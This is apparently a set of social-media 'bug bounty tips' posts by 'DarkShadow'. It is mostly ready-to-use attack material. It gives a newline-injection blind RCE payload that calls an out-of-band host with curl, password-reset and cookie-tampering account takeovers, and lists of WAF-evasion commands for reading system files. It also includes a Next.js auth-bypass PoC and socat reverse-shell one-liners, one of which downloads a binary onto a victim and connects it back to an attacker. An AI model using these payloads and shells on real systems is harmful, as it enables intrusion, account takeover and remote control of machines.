🔥Never forget to check for blind RCE!💥

I was testing a login panel and had a gut feeling the username field might be vulnerable. I tried some classic payloads like:

;id | whoami & uname

But... firewall detected and blocked them all.
Even when I tried curl or ping for blind RCE — still blocked.

Then I thought: maybe the WAF is only scanning the first line of the input? So why not try a little trick?

Payload idea: Inject a newline before the actual payload:

attacker'%0acurl https://tluxnubdqopuwecbljrj5i6tot8ddd64b.oast.fun

(Use %0a for newline — URL encoded)

And boom — Blind RCE triggered! My server got the hit instantly.

Cybersecurity isn’t about effort — it’s about mindset. Deep thinking always wins over brute force.❤️
DarkShadow

🔥You can find💥
Broken access control to idor vulnerability:
using this simple tricks (effective for .net webapps and sometimes work in php based webapps)🧐😎

target.com/hidden this page required authentication or redirect to /login page.

Try: target.com/login/hidden

OMG! Auth bypass ✅

Password Reset Bypass Trick 🌀

Some poorly secured endpoints accept multiple email parameters.😳

Try this:

POST /passwordReset HTTP/1.1
Content-Type: application/x-www-form-urlencoded

[email protected]&[email protected]

Or in JSON:

{
"email": ["[email protected]", "[email protected]"]
}

If the app sends the reset link to both emails… you’re in.⚡
Now imagine if the victim is an admin — hello dashboard, hello bounty!💰

#bugbountytips

Recently disclosed hackerone critical bug, which can exploitable under few minutes!

POC:
GET /reports/***.json HTTP/2
Host: hackerone.com

If you all guys interested to know simple and Smart tricks — never forget to react ❤️

A simple hunt can flip the whole game!🌀
While testing a web app, I noticed this suspicious-looking session cookie:

Cookie: session=e3VzZXI6ZGFya3NoYWRvdyxyb2xlOnVzZXJ9Cg==

I quickly ran it through Base64 decoding:

echo "e3VzZXI6ZGFya3NoYWRvdyxyb2xlOnVzZXJ9Cg==" | base64 -d
{user:darkshadow,role:user}

Wow 😳 — it's a JSON-style string in plain Base64.
Time to see how deep the rabbit hole goes...

I modified the role from user to admin:

echo "{user:darkshadow,role:admin}" | base64
e3VzZXI6ZGFya3NoYWRvdyxyb2xlOmFkbWlufQo=

Then replaced the cookie:

Cookie: session=e3VzZXI6ZGFya3NoYWRvdyxyb2xlOmFkbWlufQo=

BOOM 💥 Instantly, we got admin access!🔥

Follow me 👉🏼 ...DarkShadow...

🤫Everyone Let's dive deep into the art of WAF bypass techniques — a must-know skill for every serious bug bounty hunter.⚡

⚡Bypass Series for bug hunters😎

Part-1
Crazy WAF Bypass:
cat /etc/hosts - triggers WAF
tac /etc/hosts - 🧙‍♂️
man /etc/hosts - 😎
nl /etc/hosts - 🤯
less /etc/hosts - 🤫
more /etc/hosts - 😌
strings /etc/hosts - 😁
tail /etc/hosts - 😅
head /etc/hosts -🥱

Follow me👉🏼 DarkShadow
#Bugbountytips #series

⚡Bypass Series for bug hunters😎

Part-2
Crazy WAF Bypass:
cat /etc/hosts - triggers WAF

xxd -p /etc/hosts | xxd -p -r
xargs -d '\n' -I{} echo {} < /etc/hosts
perl -pe '' /etc/hosts
sed '' /etc/hosts
awk '{print}' /etc/hosts
dd if=/etc/hosts 2>/dev/null

Follow me👉🏼 DarkShadow
#Bugbountytips #series@brutsecurity

🌀 This is wild!

You’ve probably seen the buzz around the Next.js middleware auth bypass (CVE-2025-29927) — but there’s another less-known yet similar vulnerability: CVE-2024-51479.

This flaw allows attackers to bypass authentication by abusing the __nextLocale query parameter in the URL, tricking the middleware into granting access to protected routes.

Proof of Concept (PoC):

curl https://target.com/?__nextLocale=/admin

This vulnerability was fixed in Next.js v14.2.15, and Vercel-hosted apps have already been patched automatically.

I found a very cool article explaining everything in detail:

https://gmo-cybersecurity.com/blog/another-nextjs-middleware-bypass-en

API Hacking with Javascript Checklist - 5 things that you should look for in JS files for API hacking.

⚡Convert your basic nc reverse shell to a pro interactive shell😉

⚡Bash Series for bug hunters😎

Part-1
Use python to Spawn a TTY shell:
python3 -c 'import pty; pty.spawn("/bin/bash")'

Use this command to use clear command:
export TERM=xterm-256color

Get a sexy shell prompt:
PS1='\[\033[01;32m\]\u@\h \[\033[01;34m\]\w\[\033[01;31m\]$\[\033[00m\] '

Use those alias for speed up:
export EDITOR=nano
alias mm=clear
alias ls='ls --color=auto'
alias ll='ls -la --color=auto'
alias grep='grep --color=auto'

To close the shell temporally:
Press control+Z

Use this command to back again session:
stty raw -echo; fg


Guys, do you all want a smart alternative to nc where you can use nano, vim, and have full keyboard controls (like Ctrl+C, etc.)?

😁Follow me👉🏼 DarkShadow

#Bugbountytips #series@brutsecurity

⚡Bypass Series for bug hunters😎

Part-3
Crazy WAF Bypass:
cat /etc/hosts - triggers WAF

cat < /etc/hosts
cat /proc/self/fd/0 < /etc/hosts
cat /etc/hosts | base64 | base64 -d
cat /etc/hosts | string collect
cat /etc/hosts | while read line; echo $line; end
echo (cat /etc/hosts)

😁Follow me👉🏼 DarkShadow

#Bugbountytips #series@brutsecurity

⚡Bash Series for bug hunters😎

Part-2
Stop using directly nc and try with the following command:
rlwrap -cAr nc -lvnp <port>
Or
rlwrap -f . -r nc -lnvp <port>

Now you can use arrow keys for command history navigation, but you still won't get full keyboard functionality (e.g., nano, CTRL shortcuts).

For full interactive keyboard controls, use a socat interactive shell:

On attacker side:
socat file:tty,raw,echo=0 tcp-listen:<port>
If it throws any error, try:
socat file:$(tty),raw,echo=0 tcp-listen:<port>

On victim side (for a full TTY reverse shell):
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:<ip>:<port>

If socat is not installed on the victim machine, use this one-liner to download a static binary:
wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:<ip>:<port>

to stop socat:
ps aux | grep socat
Kill -9 socat <PID>

Note: Replace <port> with your desired port, <attacker_ip> with your IP, and <PID> with the process ID.


😁Follow me👉🏼 DarkShadow

#Bugbountytips #series@brutsecurity